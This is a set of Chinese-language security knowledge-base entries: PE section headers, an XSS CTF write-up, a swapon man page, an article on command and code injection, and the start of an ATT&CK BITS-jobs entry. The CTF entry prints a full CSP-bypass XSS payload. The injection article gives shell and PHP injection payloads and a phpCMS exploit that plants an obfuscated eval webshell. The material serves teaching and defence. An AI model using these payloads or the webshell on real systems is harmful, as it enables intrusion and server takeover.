紧跟在可选头后面的是 `Section Header`,也称作节表。PE 文件种所有节的属性都被定义在节表中。节表由一系列的 `IMAGE_SECTION_HEADER` 结构体组成,结构体大小均为 40 字节。每一个结构体描述一个节的信息,定义如下:
```c
typedef struct _IMAGE_SECTION_HEADER {
BYTE Name[IMAGE_SIZEOF_SHORT_NAME]; /* 节区名 */
union {
DWORD PhysicalAddress; /* 物理地址 */
DWORD VirtualSize; /* 虚拟内存中节区大小 */
} Misc;
DWORD VirtualAddress; /* 虚拟内存中节区 RVA */
DWORD SizeOfRawData; /* 磁盘文件中节区大小 */
DWORD PointerToRawData; /* 磁盘文件中节区 FOA */
DWORD PointerToRelocations; /* 指向重定位表的指针 */
DWORD PointerToLinenumbers; /* 指向行号表的指针 */
WORD NumberOfRelocations; /* 重定位入口数量 */
WORD NumberOfLinenumbers; /* 行号数量 */
DWORD Characteristics; /* 节区属性 */
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;
```
- `Name` 节名称字符串。长度最多 8 个字节。
- `Misc`
- `PhysicalAddress` 双字。文件地址。
- `VirtualSize` 双字。虚拟内存中的节区所占内存大小。
- `VirtualAddress` 双字。虚拟内存中节区 RVA。
- `SizeOfRawData` 双字。对于映像文件,表示磁盘上初始化数据的大小,值必须为 `FileAlignment` 的整数倍;对于目标文件,表示节的大小。
- `PointerToRawData` 双字。磁盘文件中节区起始处的 FOA。值必须是 `FileAlignment` 的整数倍。
- `PointerToRelocations` 双字。在对象文件中使用,指向重定位表的指针。
- `PointerToLinenumbers` 双字。行号信息位置(供调试用)。如果没有行号信息则置 0;同时因为不建议使用 COFF 调试信息,在映像文件中应置 0。
- `NumberOfRelocations` 单字。重定位入口的数量,在映像文件中置 0。
- `NumberOfLinenumbers` 单字。行号数量(供调试用)。因为不建议使用 COFF 调试信息,所以在映像文件中应置 0。
- **`Characteristics` 双字。节区属性。,以 bit OR 方式组合。各标志位的含义如下:**
```c
// 节区属性
#define IMAGE_SCN_CNT_CODE 0x00000020 // 节区包含代码
#define IMAGE_SCN_CNT_INITIALIZED_DATA 0x00000040 // 节区包含已初始化数据
#define IMAGE_SCN_CNT_UNINITIALIZED_DATA 0x00000080 // 节区包含未初始化数据
#define IMAGE_SCN_ALIGN_1BYTES 0x00100000 // 1-byte 对齐。仅用于目标文件
#define IMAGE_SCN_ALIGN_2BYTES 0x00200000 // 2-byte 对齐。仅用于目标文件
#define IMAGE_SCN_ALIGN_4BYTES 0x00300000 // 4-byte 对齐。仅用于目标文件
#define IMAGE_SCN_ALIGN_8BYTES 0x00400000 // 8-byte 对齐。仅用于目标文件
#define IMAGE_SCN_ALIGN_16BYTES 0x00500000 // 16-byte 对齐。仅用于目标文件
#define IMAGE_SCN_ALIGN_32BYTES 0x00600000 // 32-byte 对齐。仅用于目标文件
#define IMAGE_SCN_ALIGN_64BYTES 0x00700000 // 64-byte 对齐。仅用于目标文件
#define IMAGE_SCN_ALIGN_128BYTES 0x00800000 // 128-byte 对齐。仅用于目标文件
#define IMAGE_SCN_ALIGN_256BYTES 0x00900000 // 256-byte 对齐。仅用于目标文件
#define IMAGE_SCN_ALIGN_512BYTES 0x00A00000 // 512-byte 对齐。仅用于目标文件
#define IMAGE_SCN_ALIGN_1024BYTES 0x00B00000 // 1024-byte 对齐。仅用于目标文件
#define IMAGE_SCN_ALIGN_2048BYTES 0x00C00000 // 2048-byte 对齐。仅用于目标文件
#define IMAGE_SCN_ALIGN_4096BYTES 0x00D00000 // 4096-byte 对齐。仅用于目标文件
#define IMAGE_SCN_ALIGN_8192BYTES 0x00E00000 // 8192-byte 对齐。仅用于目标文件
#define IMAGE_SCN_LNK_NRELOC_OVFL 0x01000000 // 节区包含扩展的重定位项
#define IMAGE_SCN_MEM_DISCARDABLE 0x02000000 // 节区可根据需要丢弃,如 .reloc 在进程开始后被丢弃
#define IMAGE_SCN_MEM_NOT_CACHED 0x04000000 // 节区不会被缓存
#define IMAGE_SCN_MEM_NOT_PAGED 0x08000000 // 节区不可分页
#define IMAGE_SCN_MEM_SHARED 0x10000000 // 节区可共享给不同进程
#define IMAGE_SCN_MEM_EXECUTE 0x20000000 // 节区可作为代码执行
#define IMAGE_SCN_MEM_READ 0x40000000 // 节区可读
#define IMAGE_SCN_MEM_WRITE 0x80000000 // 节区可写
```
示例文件的节区头如下:
```text
No. Name VirtualSize VirtualOffset RawSize RawOffset Characteristics
--------------------------------------------------------------------------
01 .text 00001670 00001000 00001800 00000400 60500020 R-X 包含可执行代码
02 .data 0000002C 00003000 00000200 00001C00 C0300040 RW- 包含已初始化数据
03 .rdata 00000168 00004000 00000600 00001E00 40300040 R-- 包含已初始化数据
04 .bss 00000450 00005000 00000000 00000000 C0700080 RW- 包含未初始化数据
05 .idata 00000564 00006000 00000600 00002400 C0300040 RW- 包含已初始化数据
06 .CRT 00000034 00007000 00000200 00002A00 C0300040 RW- 包含已初始化数据
07 .tls 00000020 00008000 00000200 00002C00 C0300040 RW- 包含已初始化数据
08 /4 000002D8 00009000 00000400 00002E00 42400040 R-- 包含已初始化数据
09 /19 0000A6D5 0000A000 0000A800 00003200 42100040 R-- 包含已初始化数据
0A /31 0000199E 00015000 00001A00 0000DA00 42100040 R-- 包含已初始化数据
0B /45 000018F3 00017000 00001A00 0000F400 42100040 R-- 包含已初始化数据
0C /57 00000780 00019000 00000800 00010E00 42300040 R-- 包含已初始化数据
0D /70 000002F2 0001A000 00000400 00011600 42100040 R-- 包含已初始化数据
0E /81 00000D1E 0001B000 00000E00 00012800 42100040 R-- 包含已初始化数据
0F /92 00000230 0001C000 00000400 00012C00 42100040 R-- 包含已初始化数据
```
### Sections
紧跟在 `Section Header` 后面的就是各个 sections,即节区。PE 文件一般至少要求有两个节区,用于存储可执行数据的代码节区 .text,和存储数据的数据节区 .data。通过节区名可以猜测节区的用途,但节区名不是决定节区用途的因素,只作为一种参考。比如也可以将代码节区的节区名修改为 .data,对于程序执行不会有影响。这里讲一下常见节区的用途:
```text
.text 默认的代码节区。用于保存可执行代码。
.data 默认的读/写数据节区。用于保存已初始化的全局变量,静态变量。
.rdata 默认的只读数据节区。
.idata 用于保存导入表信息。包含IAT, INT, 导入函数名称以及导入 DLL 名称等。
.edata 用于保存导出表信息。
.rsrc 用于保存资源表信息。
.bss 用于保存未初始化数据。
.tls 用于保存 TLS(线程局部存储)信息。
.reloc 用于保存重定位表信息。
```
其中有一些 Section 需要重点关注,比如保存着库文件导入相关数据的 .idata 节,或者与线程私有存储相关的 .tls 节等等。对这些重要节进行分析,就是之后学习的主要内容。
|
sec-knowleage
|
# Mimisbrunnr (web)
In the challenge we get a form where we should put a link to the same page, but with XSS vulnerability triggered, by showing `alert(1)`.
What we get to work with is a special page which can echo our inputs, but with a few difficulties:
1. There is `Content-Security-Policy script-src 'self'`, so we can load only javascript from the same host
2. There is `X-Content-Type-Options nosniff` so scripts will load only if mimetype of the resource is correct
3. We get the echo from link `http://mimis.alieni.se:2999/xss?xss=OUR_INPUT&mimis=plain` as part of:
```
WELCOME, OUR_INPUT
/h e h e//////////////////////////////////////////////////////////////////////////////////////`
/*∕MMMMMMMMMMMMMMMMMMMMMMMMMMMMMNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMN-
/*∕MMMMMMMMMMMMMMMMMMMMMMMMMMNs:...-:/++osyhhdmmNNNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMN-
/*∕MMMMMMMMMMMMMMMMMMMMMMMMMh- `` ```..-://+osyyhdmmNNMMMMMMMMMMMMMMMMMMMMMMMMN-
/*∕MMMMMMMMMMMMMMMMMMMMMMMN/` `.............````````` ````./dMMMMMMMMMMMMMMMMMMMMMMN-
/*∕MMMMMMMMMMMMMMMMMMMMMMy. ..................................... `+mMMMMMMMMMMMMMMMMMMMMN-
/*∕MMMMMMMMMMMMMMMMMMMMm/` `------.............................-+s- .sNMMMMMMMMMMMMMMMMMMN-
/*∕MMMMMMMMMMMMMMMMMMMy. ...-------------------...............+o+o:` :dMMMMMMMMMMMMMMMMMN-
/*∕MMMMMMMMMMMMMMMMMm+` `...................------------------:o+++o+. .sNMMMMMMMMMMMMMMMN-
/*∕MMMMMMMMMMMMMMMMh- .:----............................----/oooooooo- :dMMMMMMMMMMMMMMN-
/*∕MMMMMMMMMMMMMMNs` .-----:-::--------....................-++++++oooo:` `yNMMMMMMMMMMMMN-
/*∕MMMMMMMMMMMMMN/ `.............-------::::----..........-++++++++oooo+. +NMMMMMMMMMMMN-
/*∕MMMMMMMMMMMMN: `-......................---------:------/+++oooo++oooo+. :mMMMMMMMMMMN-
/*∕MMMMMMMMMMMMh .:::-----..........................----++++++++oooooooo+. hMMMMMMMMMMN-
/*∕MMMMMMMMMMMMm:.`` ```...-::///:---...................:+++ooooooo++/:-.```.:mMMMMMMMMMMN-
/*∕MMMMMMMMMMMMMMNmdhyo+:-` -oss+..--:::::::----......:++++ooss:-.`.-:+syhdmNMMMMMMMMMMMN-
/*∕MMMMMMMMMMMMMMMMMMMMMMNh` `+osso/::-..``.+osooo+//::-/:-../oss` +mNMMMMMMMMMMMMMMMMMMMN-
/*∕MMMMMMMMMMMMMMMMMMMMMMMMo .+syo++oossoooosossssssss-` :oss` /*∕MMMMMMMMMMMMMMMMMMMN-
/*∕MMMMMMMMMMMMMMMMMMMMMMMMd` ./sy/ ``./sooosososssyy+/:-../+ss. .yNMMMMMMMMMMMMMMMMMMMN-
/*∕MMMMMMMMMMMMMMMMMMMMMMMMM. `:oy/ `` .-+osoooos//+oosso+sy+/-` /mMMMMMMMMMMMMMMMMMMN-
/*∕MMMMMMMMMMMMMMMMMMMMMMMMM: `:oy/ :o- `` `//syosy+` .yNMMMMMMMMMMMMMMMMN-
/*∕MMMMMMMMMMMMMMMMMMMMMMMMM+ `:oy/ -o- -:ss``+yo. :dNMMMMMMMMMMMMMMN-
/*∕MMMMMMMMMMMMMMMMMMMMMMMMMs `:sy/ -o. -:ss` :ss- .:o/*∕MMMMMMMMMN-
/*∕MMMMMMMMMMMMMMMMMMMMMMMMMs `:sy/ -o. -:ss` -os/`` `oMMMMMMMMMN-
/*∕MMMMMMMMMMMMMMMMMMMMMMMMMs `:sy/ -/. -:ss` `/oo+::: /MMMMMMMMMN-
/*∕MMMMMMMMMMMMMMMMMMMMMMNds. `:sy/ :+` -:ss` `.-` /*∕MMMMMMMN-
/*∕MMMMMMMMMMMMMMMMMNds+-` .:syo/+osssooooo/oo+++//::--.` ::ss` .osso+////*∕MMMMMMMMN-
/*∕MMMMMMMMMMMMMMMMy. `..-:::oyyyssyyyysyyy+syyyyyssssssss+:sy-` :mMMMMMMMMMMMMMMMMMMN-
/*∕MMMMMMMMMMMMMMMh` .-::::/ossyyyyyhhhhhhhh/shhhhhhhhhyyyyo:syss+/` `/dMMMMMMMMMMMMMMMMN-
/*∕MMMMMMMMMMMMMMM/ `---.-:oyyyhhhhhyhhhhhhhh/yhhhhhhhhhhhyho:syyssss/` `/*∕MMMMMMMMMMMMMN-
/*∕MMMMMMMMMMMMMMN. /+-----+yyyyhhhyhhhhhhhhh/yhhhhhhhhhhhyho:syyyysss/ sMMMMMMMMMMMMMMMN-
/*∕MMMMMMMMMMMMMMN. +o/.``../oyyhhhhhhhhhhhhh+hhhhhhhhhhhhys/:syssssyyy. sMMMMMMMMMMMMMMMN-
/*∕MMMMMMMMMMMMMMN. /+/::-```.-::/+ossyhhhhhhshhhhhhyyso+//:--/o+ossyyy- oMMMMMMMMMMMMMMMN-
/*∕MMMMMMMMMMMMMMN` ++/:/:-:--......`.----:://://:::::::-://+oossssssss: -MMMMMMMMMMMMMMMN-
/*∕MMMMMMMMMNNmdy/ `oo///:-:/::::::.-:------::-//++++oososssyysssyyssyy/ +hNMMMMMMMMMMMMN-
/*∕MMNhyo+/:-.`` `++///:::::::::---::://////:+ooosssssosssssssssssyyy+ `.:oymNMMMMMMMN-
/*∕Mh- `..-:o+://::/::::--::---:::::/::/+oooooosyyssssyyyyyosyy+` `:yNMMMMMN-
/*∕d` ```..--::/++o+/::::///:::---:::::::::/:/+oooooosyyyssyyyyyssssso/:::`.` :dMMMMN-
/*∕/ `..-::::::///so+///::///:::::::://////:/++ooooosssssssssssssyysysooo+///--- `sNMMN-
/*∕+ `----::::::://oso/+//://///:::::///////:/+++++osyyssyyyssysosyysysoooo+++++/`` +NMN-
/*∕m- ``.-::::::::::+oo++++:::///:////:::::////++ooosyyyssyyyssssssssssoooooo+++++/: dMN-
/*∕Mm: `.-::::-::::::///++/////::///::///////+ooossssssssyyyssyssooooooo+++++++++/` .mMN-
/*∕MMNo. `.-----::::::::::::+++++++/:++++ooo+osssyyyysysoossooo++++++++++++++++//` `/*∕N-
/*∕MMMMmy/. `....-:-::::::::://:++/+/+/+o/+oo+osssssso+/+/+////+++++///+///+/:-`` `sMMMN-
/*∕MMMMMMMmh+-` ..--------:::::::::::::::::::://///////////////++///:-:-:/:. ./dMMMMN-
/*∕MMMMMMMMMMNdy/.` `.......---::-:::::::::::::////://////:.--.... `.``.:ohNMMMMMMN-
/*∕MMMMMMMMMMMMMMNds+:.`` ``````...`-:-.....-::::::-.. `.-/oydNMMMMMMMMMMN-
/*∕MMMMMMMMMMMMMMMMMMMNNmdyso+/:-.`` ````` `.-/oydmNMMMMMMMMMMMMMMMMN-
/*∕MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNNmhysso+//:--....``````.-:/+sydmNMMMMMMMMMMMMMMMMMMMMMMMN-
/*∕MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNNNNNNNNNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMN-
/*/ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo--
```
To overcome the first protection, we simply have to use the same page as the javascript source to load.
As our input we provide `<script src="/xss?xss=SOME_OTHER_INPUT&mimis=SOME_MIMETYPE"/>`
To tackle the second protection we need to provide the right mime type for this script.
They were appending `text/` to whatever we provide, and `javascript` didn't work, but we checked other options is `jscript` worked fine.
So we can inject: `<script src="/xss?xss=SOME_OTHER_INPUT&mimis=jscript"/>`
The last part requires that this ascii-art with our payload is correctly loaded as javascript source code.
First issue is the `WELCOME, ` part which comes before our payload.
`WELCOME` is not a known symbol in this context so it crashes.
But it seems javascript allows to call functions before they're declared, so we can inject `function WELCOME(){}` and it will work just fine.
Last step is to take care of the ascii-art, but this we can do by injecting `var ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo; /*`.
Block comment will take care of the most of the picture, and the var will handle the `ooooo`.
As a result the page we inject as source for script is: `http://mimis.alieni.se:2999/xss?xss=alert(1);%20function%20WELCOME(){};var%20ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo;%20/*&mimis=jscript`
And we inject this by `<html><head><script src="/xss?xss=alert(1); function WELCOME(){};
var ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo; /*&mimis=jscript"></script> </head></html>`
So the final encoded string is:
`http://mimis.alieni.se:2999/xss?xss=%3Chtml%3E%3Chead%3E%3Cscript%20src=%22/xss?xss=alert(1)%3b%20function%20WELCOME(){}%3b%0Avar%20ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo%3b%20%2f*%26mimis=jscript%22%3E%3C/script%3E%20%3C/head%3E%3C/html%3E&mimis=html`
And by submitting this we get back the flag: `midnightsun{t3xt_1z_d@ng3r00ze!!}`
|
sec-knowleage
|
.\" Copyright (c) 1980, 1991 Regents of the University of California.
.\" All rights reserved.
.\"
.\" Redistribution and use in source and binary forms, with or without
.\" modification, are permitted provided that the following conditions
.\" are met:
.\" 1. Redistributions of source code must retain the above copyright
.\" notice, this list of conditions and the following disclaimer.
.\" 2. Redistributions in binary form must reproduce the above copyright
.\" notice, this list of conditions and the following disclaimer in the
.\" documentation and/or other materials provided with the distribution.
.\" 3. All advertising materials mentioning features or use of this software
.\" must display the following acknowledgement:
.\" This product includes software developed by the University of
.\" California, Berkeley and its contributors.
.\" 4. Neither the name of the University nor the names of its contributors
.\" may be used to endorse or promote products derived from this software
.\" without specific prior written permission.
.\"
.\" THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
.\" ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
.\" IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
.\" ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
.\" FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
.\" DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
.\" OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
.\" HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
.\" LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
.\" OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
.\" SUCH DAMAGE.
.\"
.\" @(#)swapon.8 6.3 (Berkeley) 3/16/91
.\"
.\" Sun Dec 27 12:31:30 1992: Modified by faith@cs.unc.edu
.\" Sat Mar 6 20:46:02 1993: Modified by faith@cs.unc.edu
.\" Sat Oct 9 09:35:30 1993: Converted to man format by faith@cs.unc.edu
.\" Sat Nov 27 20:22:42 1993: Updated authorship information, faith@cs.unc.edu
.\" Mon Sep 25 14:12:38 1995: Added -v and -p information
.\" Tue Apr 30 03:32:07 1996: Added some text from A. Koppenhoefer
.\"
.TH SWAPON 8 "25 September 1995" "Linux 1.x" "Linux Programmer's Manual"
.SH NAME
swapon, swapoff \- 使用/关闭用于分页和交换的文件和设备
.SH "总览 (SYNOPSIS)"
.B /sbin/swapon [\-h \-V]
.br
.B /sbin/swapon \-a [\-v]
.br
.BI "/sbin/swapon [\-v] [\-p " "priority" "] " " specialfile " ...
.br
.B /sbin/swapon [\-s]
.br
.B /sbin/swapoff [\-h \-V]
.br
.B /sbin/swapoff \-a
.br
.BI /sbin/swapoff " specialfile " ...
.SH "描述 (DESCRIPTION)"
.B Swapon
指出 用于 分页和交换 的 设备.
一般 在 系统 多用户运行级 的 初始化文件
.I /etc/rc
中 调用
.B swapon ,
使 所有的 交换设备 生效, 因此 分页和交换 活动 可以 在 多个 设备和文件
之中 进行.
常用的形式有:
.TP
.B \-h
显示帮助
.TP
.B \-V
显示版本
.TP
.B \-s
显示交换设备的使用情况.这个选项需要
.I /proc/swaps
(小于 2.1.25 的 内核 可能没有).
.TP
.B \-a
使
.I /etc/fstab
中, 所有 标记了 'sw' 的 交换设备 生效.
.TP
.BI \-p " priority"
指定
.BR swapon
的 优先级. 这个 选项 要求
.B swapon
在 1.3.2 或 更高 的 内核 上 编译 和 使用.
.I priority
介于 0 和 32767 之间. 关于 交换优先级 的 完整 描述 请 参看
.BR swapon (2) .
在
.I /etc/fstab
文件 中, 交换设备 的 选项域 里 加上
.BI pri= value ,
用
.BR "swapon -a"
可以 使其 生效.
.PP
.B Swapoff
禁止 在 指定的 设备和文件 上 做 交换, 如果 指定了
.B \-a
选项,
.I /etc/fstab
中 所有的 交换设备 皆被 关闭.
.SH "注意 (NOTE)"
别在 包含 空洞(hole) 的 文件 上 使用
.B swapon .
.SH "参见 (SEE ALSO)"
.BR swapon "(2), " swapoff "(2), " fstab "(5), " init "(8), " mkswap (8),
.BR rc "(8), " mount (8)
.SH "文件 (FILES)"
.I /dev/hd??
标准分页设备
.br
.I /dev/sd??
标准 (SCSI) 分页设备
.br
.I /etc/fstab
ascii 格式的 文件系统 描述表
.SH "历史 (HISTORY)"
.B swapon
命令 源于 4.0BSD.
.SH "[中文版维护人]"
.B 徐明 <xuming@iname.com>
.SH "[中文版最新更新]"
.BR 2001/11/18
.SH "《中国Linux论坛man手册页翻译计划》"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
原文 by wooyun wiki
# 一、命令注入
## 1、相关背景介绍
当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system、exec、shell_exec等,当用户可以控制命令执行函数中的参数时,将可以注入恶意系统命令到正常命令中,造成命令执行攻击。 这里还是主要以PHP为主介绍命令执行漏洞,Java等应用的细节待补充。
## 2、成因
脚本语言(如PHP)优点是简洁、方便,但也伴随着一些问题,如速度慢、无法接触系统底层,如果我们开发的应用(特别是企业级的一些应用)需要一些除去web的特殊功能时,就需要调用一些外部程序。
在PHP中可以调用外部程序的主要有以下函数:
system
exec
assert
shell_exec
passthru
popen
proc_popen
escapeshellcmd
pcntl_exec

一些偏门函数就不说了,以上函数主要是在webshell里用的多,实际上在正常应用中差别不太大,用得最多的还是前三个。应用在调用这些函数执行系统命令的时候,如果将用户的输入作为系统命令的参数拼接到命令行中,又没有过滤用户的输入的情况下,就会造成命令执行漏洞。
### 常见的一些成因:
* 一些商业应用需要执行命令,商业应用的一些核心代码可能封装在二进制文件中,再web应用中通过system函数来调用之:
`system("/bin/program --arg $arg");`
* 系统的漏洞造成命令注入:
不知各位看官是否还记得bash破壳漏洞,如果我们能够控制执行的bash的环境变量,就可以通过破壳漏洞来执行任意代码。
* 调用一些常用组件
很典型的就是Discuz中,可以选择使用ImageMagick这个常用的图片处理组件,对用户上传的图片进行处理(默认是GD库),而Discuz并没有很好控制用户的输入,造成命令执行。
另外JAVA中的命令执行漏洞(struts2/Elasticsearch Groovy等)很常见,亟待补充。
## 3、利用方法及危害
常见可控位置情况有下面几种:
`system("$arg");` //可控点直接是待执行的程序
`system("/bin/prog $arg");` //可控点是传入程序的整个参数
`system("/bin/prog -p $arg");` //可控点是传入程序的某个参数的值(无引号包裹)
`system("/bin/prog --p=\"$arg\"");`//可控点是传入程序的某个参数的值(有双引号包裹)
`system("/bin/prog --p='$arg'");` //可控点是传入程序的某个参数的值(有单引号包裹)
```python
sys=ctypes.cdll.LoadLibrary('/lib64/libc.so.6')
sys.system(cmd)
```
### 第一种情况
如果我们能直接控制$arg,那么就能执行执行任意命令了,没太多好说的。
### 第二种情况
我们能够控制的点是程序的整个参数,我们可以直接用&& || 或 | 等等,利用与、或、管道命令来执行其他命令(可以涉及到很多linux命令行技巧)。
还有一个偏门情况,当$arg被 escapeshellcmd处理之后,我们不能越出这个外部程序的范围,我们可以看看这个程序自身是否有“执行外部命令”的参数或功能,比如linux下的sendmail 命令自带读写文件功能,我们可以用来写webshell。
### 第三种情况
我们控制的点是一个参数,我们也同样可以利用与、或、管道来执行其他命令,情境与二无异。
### 第四种情况
这种情况压力大一点,有双引号包裹。如果引号没有被转义,我们可以先闭合引号,成为第三种情况后按照第三种情况来利用,如果引号被转义(addslashes),我们也不必着急。linux shell 环境下双引号中间的变量也是可以被解析的,我们可以在双引号内利用反引号执行任意命令 `id`
### 第五种情况
这是最难受的一种情况了,因为单引号内只是一个字符串,我们要先闭合单引号才可以执行命令。如:system("/bin/prog –p='aaa' | id")
危害自然不言而喻,执行命令可以读写文件、反弹shell、获得系统权限、内网渗透等。
在漏洞检测中,除了有回显的命令注入(比如执行dir 命令或者cat 读取系统文件);还可以使用盲打的方式,比如curl远程机器的某个目录(看access.log),或者通过dns解析的方式获取到漏洞机器发出的请求。
## 4、修复方案
1).能使用脚本解决的工作,不要调用其他程序处理。尽量少用执行命令的函数,并在disable_functions中禁用之。
2).对于可控点是程序参数的情况,使用escapeshellcmd 函数进行过滤。
3).对于可控点是程序参数的值的情况,使用escapeshellarg 函数进行过滤。
4).参数的值尽量使用单引号包裹,并在拼接前调用addslashes 进行转义。
5).对于传入的变量做过滤,对于 \n $ & ; | ' " ( ) `(反单引号) 过滤或转义这些特殊字符
# 二、代码注入
## 1、漏洞成因
当应用在调用一些能将字符串转化成代码的函数(如php中的eval)时,没有考虑用户是否能控制这个字符串,将造成代码注入漏洞。
几种常用语言,都有将字符串转化成代码去执行的相关函数,如:
- PHP:eval、assert
- Javascript:eval
- Vbscript: Execute、Eval
- Python:exec
- Java:Java中没有类似php中eval 函数这种直接可以将字符串转化为代码执行的函数,但是有反射机制,并且有各种基于反射机制的表达式引擎,如:OGNL、SpEL、MVEL等,这些都能造成代码执行漏洞
应用有时候会考虑灵活性、简洁性,在代码中调用eval之类的函数去处理。如phpcms中很常用的string2array 函数:
`function string2array($data) {if($data == '') return array();@eval("\$array = $data;");return $array;}`
PHP中能造成代码注入的主要函数: `eval` 、 `preg_replace + /e模式` 、`assert`
用的一般就是前两者,CMS中很少用到assert的,至于一些偏门函数就更少了,用的情况仅限于留后门。 常见用法也有如下一些:
```
eval("\$ret = $data;");
eval("\$ret = deal('$data');");
eval("\$ret = deal("$data");");
preg_replace('/<data>(.*)</data>/e', '$ret = "\\1";');
preg_replace("/\s*\[php\](.+?)\[\/php\]\s*/ies", "\\1", $_GET['h']);
?>
```
第一个就是刚才之前说phpcms 的,通常$data不会直接来自POST或GET变量(要不也太水了),但通过一些二次漏洞很可能能够造出代码执行(如SQL注入)。 第二个是将$data使用一个函数(deal)处理后再赋值给$ret。那么,传参的方式就很重要了。第二个用的是单引号传参,那么我们只能先闭合单引号,之后才能注入代码。如果应用全局做了addslashes或GPC=on的话,就不能够注入代码了。 第三个与第二个类似,但使用的是双引号传参。双引号在代码中有个很重要的特性,它能解析其中的函数,如我们传入`${phpinfo()}`,phpinfo将会被执行,而得到的返回值作为参数传入deal 函数。这个时候,我们就不用考虑闭合引号的事了。 第四个是preg_replace函数的误用,这种用法出现的情况是最多的,也是因为preg_replace第二个参数中,包裹正则结果\\\\1的是双引号,通过第三个中的方式,也能执行任意代码。
注意,第五个示例中包裹\\\\1 的可以是双引号或者单引号,都可以造成命令执行,提交 `h=[php]phpinfo()[/php]` 。
php curly syntax: ${`ls`} 它将执行花括号内的代码,并将结果替换回去。
## 2、phpCMS 2008 命令执行漏洞
`index.php?userid=abc&menu=xxx`
我们访问时填的 userid 在数据库是查找不到的,这样无法从数据库返回结果中 extract 出 $menu 变量的定义,在但最开始 程序会把 $_GET 获取到的参数都 extract 出来,这样的话 menu 变量的值可以由我们控制,
由于 $menu 不为空,如果 `menu=phpinfo(); exit();` 内部执行 string2array 函数,
`eval("\$arr=$data");` 时会 执行命令,即 `eval("\$arr=phpinfo();exit();");`
进一步地,我们可以将一句话木马写成 webshell 文件放到网站服务器目录下
一句话木马 `<?php eval($_GET['func']($_GET['cmd'])); ?>`
`menu=file_put_contents('shell.php', ' <?php eval($_GET['func']($_GET['cmd'])); ?> ')`
为了防止转义等导致命令执行不成功,可以用 ascii 码形式,即
`index.php?userid=abc&menu=file_put_contents(CHR(115).CHR(104).CHR(101).CHR(108).CHR(108).CHR(42).CHR(112).CHR(104).CHR(112), ...);exit()`
下次我们可以直接访问 `shell.php?func=system&cmd=dir`,执行php 代码 `system(dir)`。
类似会造成变量覆盖的函数还有:import_request_variables(), parse_str() 等
## 3、修复方案:
* 能使用json 保存数组、对象就使用json,不要将php对象保存成字符串,否则读取的时候需要使用eval。将字符串转化为对象的过程其实是将数据转化为代码的过程,这个过程很容易出现漏洞,像php的unserialize 导致代码执行、struts2的ognl 命令执行等漏洞都是这个过程导致的。
* 对于必须使用eval 的情况,一定要保证用户不能轻易接触eval 的参数(或用正则严格判断输入的数据格式)。对于字符串,一定要使用单引号包裹可控代码,并再插入前进行addslashes,这样就无法闭合单引号,又因为不是双引号包裹,故不能执行 ${} 。
`evil('${phpinfo()}')`、`evil("phpinfo()")` 等都不会执行, `evil("${phpinfo()}")`、`evil(phpinfo())`、`evil(${@phpinfo()})` 都可以执行,因为双引号里面内容会被当作变量解析一次,函数前加 @ 表示执行函数时不报错。
`$data = addslashes($data);eval("\$data = deal('$data');");`
* 放弃使用preg_replace 的e修饰符,而换用 preg_replace_callback 替代。如果非要使用preg_replace的e模式的话,请保证第二个参数中,对于正则匹配出的对象,用单引号包裹(第4个示例)。
* 确保register_globals = off, 若不能自定义php.ini,则应该在代码中控制;其次,熟悉可能造成变量覆盖的函数和方法,检查用户是否能控制变量的来源;最后,养成初始化变量的好习惯。
* 能够往本地写入的函数都需要重点关注,如 file_put_contents(), fwrite(), fputs() 等。
* 在自动化漏洞检测中可以 直接带入类似 `";print(md5(test));$a="` ,匹配返回页面是否有 md5 字符串。
|
sec-knowleage
|
# T1197-win-BITS Jobs权限维持
## 来自ATT&CK的描述
Windows BITS(后台智能传输服务)是一种通过COM(组件对象模型)公开的低带宽异步文件传输机制。BITS通常由更新程序、消息程序和其他希望在后台运行(使用可用空闲带宽)而不中断其他网络应用的程序使用。文件传输任务被实现为BITS任务,其中包含一个或多个文件操作队列。
可以通过PowerShell和BITSAdmin工具访问BITS任务创建和管理接口。
攻击者可能会在运行恶意代码后滥用BITS来实现下载、执行甚至清理动作。BITS任务包含在BITS任务数据库中,不需创建新文件或修改注册表,且通常是主机防火墙允许的。启用BITS的执行还可以通过创建长期任务(默认最大生命周期为90天且可延长)或在任务完成或出现错误(包括系统重启后的错误)时调用任意程序来允许持久性。
BITS上传功能也可用于执行Exfiltration Over Alternative Protocol。
## 测试案例
Windows操作系统包含各种实用程序,系统管理员可以使用它们来执行各种任务。这些实用程序之一是后台智能传输服务(BITS),它可以促进文件到Web服务器(HTTP)和共享文件夹(SMB)的传输能力。Microsoft提供了一个名为“bitsadmin”的二进制文件和PowerShell cmdlet,用于创建和管理文件传输。
